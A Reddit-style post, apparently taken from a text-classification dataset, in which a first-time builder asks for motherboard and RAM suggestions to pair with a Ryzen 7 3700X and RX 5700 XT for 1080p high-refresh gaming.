Anyways, I don't know a lot about building a PC, but I want something that's gonna last me for a while and therefore i was thinking ryzen 7 3700x, RX 5700 XT. Now, where do I go with motherboard and ram?
My usage is mostly gaming, and i'd like to play 1080p 144/120 hz on atleast high for a while. Im really excited, as I guess you can imagine, I've been playing on the lowest graphics for some years now. I like open world games and simulators, and for my first games it's probably gonna be shadow of war, borderlands 3, and also pretty excited for the new upcomming flight simulator
Any response is greatly appreciated as I'm pretty much as beginner as possible! | 0non-cybersec
| Reddit |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.